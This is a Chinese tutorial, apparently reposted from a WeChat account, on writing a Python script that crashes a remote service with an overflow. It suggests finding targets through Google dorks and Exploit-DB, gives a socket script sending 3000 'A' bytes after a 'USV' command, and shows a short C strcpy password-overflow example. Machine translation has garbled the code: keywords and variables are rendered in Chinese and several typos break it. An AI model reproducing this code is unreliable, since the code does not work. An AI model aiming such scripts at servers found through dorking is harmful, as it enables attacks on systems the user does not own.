使用 Python 逐步编码远程缓冲区溢出漏洞利用:
1.寻找服务器进行测试
这个就比较复杂了。尝试在 GHDB (https://www.exploit-db.com/google-hacking-database/ )上搜索 dorks ,或者在 Exploit-DB ( https://www.exploit-db.com )上搜索易受攻击的软件。
2. 编码
编码是最简单的部分。从导入sys和socket开始,编写如下代码:
对于 sys.argv 中的货物:
如果货物==“-s”:
argnum = sys.argv.index(carg)
argnum += 1
主机 = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum += 1
端口 = sys.argv[argnum[
缓冲区 =“x41”* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM)
s.connect((主机,端口))
s.send("USV " + buffer + "//r//n//r")
s.close()
代码应如下所示:
现在,我们来分析一下代码。我们已经从我之前的教程中了解了参数识别脚本。第二行创建一个缓冲区,即 x41 乘以 3000 倍。然后我们看到将 s 声明为套接字、与其连接、发送缓冲区并关闭套接字的行。看起来很难,但事实并非如此。
完成上述步骤后,就可以测试我们的脚本了!
正如我们所看到的,该脚本运行得非常好。我已经在我的一台服务器上使用易受攻击的软件对其进行了测试。祝 h4x1ng 好运!
如何避免 RBO
这取决于编程语言。例如,在 C 上,如果您使用如下代码,则可能容易受到远程缓冲区溢出的影响:
int 已验证 = 0;
字符password_buffer[16];
strcopy(password_buffer, your_password)
if (strcmp(password_buffer, 密码) == 0) {
authed = 1;
}
其他 {
已验证 = 0;
}
因此,一旦 your_password 超过 16,您就可以实现身份验证溢出,或者如果有更多,您可能会出现缓冲区溢出并出现分段错误错误。
因此,正如我已经提到的,在不同的情况下,解决方案是不同的。
原文始发于微信公众号(伞神安全):使用Python进行缓冲区溢出攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论